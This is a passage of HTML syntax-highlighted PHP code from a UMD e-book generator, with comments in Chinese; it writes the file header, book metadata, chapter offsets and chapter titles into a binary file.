#00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">articlelen</span><span style="color: Gray;"> + </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptercount</span><span style="color: Gray;"> * </span><span style="color: Maroon;">2</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">2387</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">n</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #00008b;">$PID</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">0x0B</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fontSize</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$screenWidth</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$h</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">36</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$h</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Maroon;">17</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$content_len</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//$data .= $this-&gt;dec2hex(floor($content_len / 2),4);</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">/**<br />&nbsp;&nbsp; &nbsp; * 编译生成UMD<br />&nbsp;&nbsp; &nbsp; *<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @param </span><span style="color: #ffa500;">String $filename<br />&nbsp;&nbsp; &nbsp; *</span><span style="color: Blue;"> @return </span><span style="color: #ffa500;">Boolean<br />&nbsp;&nbsp; &nbsp; */</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">makeUmd</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;"> = </span><span style="color: Blue;">fopen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">wb</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">false</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">flock</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: Blue;">LOCK_EX</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;">&nbsp; = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">899B9ADE</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//头 umd文件标志</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">230100000801</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x01--文件开始</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">1025</span><span style="color: Gray;">,</span><span style="color: Maroon;">32767</span><span style="color: Olive;">)</span><span style="color: Gray;">,</span><span style="color: Maroon;">2</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">title</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">2</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x02--标题</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">author</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">3</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x03--作者</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">year</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x04--年</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">month</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">5</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x05--月</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">day</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">6</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x06--日</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">sort</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">7</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x07--小说类型</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">publisher</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">8</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">//0x08--出版商</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeInfo</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">seller</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">9</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//0x09--零售商</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x0b--内容长度</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">230B000009</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">articlelen</span><span style="color: Gray;"> + </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptercount</span><span style="color: Gray;"> * </span><span style="color: Maroon;">2</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x83--章节偏移 写入章节数</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">2383000109</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">12288</span><span style="color: Gray;">,</span><span style="color: Maroon;">16383</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">24</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptercount</span><span style="color: Gray;"> * </span><span style="color: Maroon;">4</span><span style="color: Gray;"> + </span><span style="color: Maroon;">9</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chapteroffset</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chapters</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chapteroffset</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chapteroffset</span><span style="color: Gray;"> += </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">content</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;"> + </span><span style="color: Maroon;">2</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x84--章节标题，正文</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">2384000109</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">16384</span><span style="color: Gray;">,</span><span style="color: Maroon;">20479</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">24</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Maroon;">9</span><span style="color: Gray;"> + </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptitlelen</span><span style="color: Gray;"> + </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chaptercount</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chapters</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">title</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$value</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">title</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$ss</span><span style="color: Gray;">&nbsp; = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$oo</span><span style="color: Gray;"> = </span><span style="color: Maroon;">32768</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chapstr</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">chapters</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span 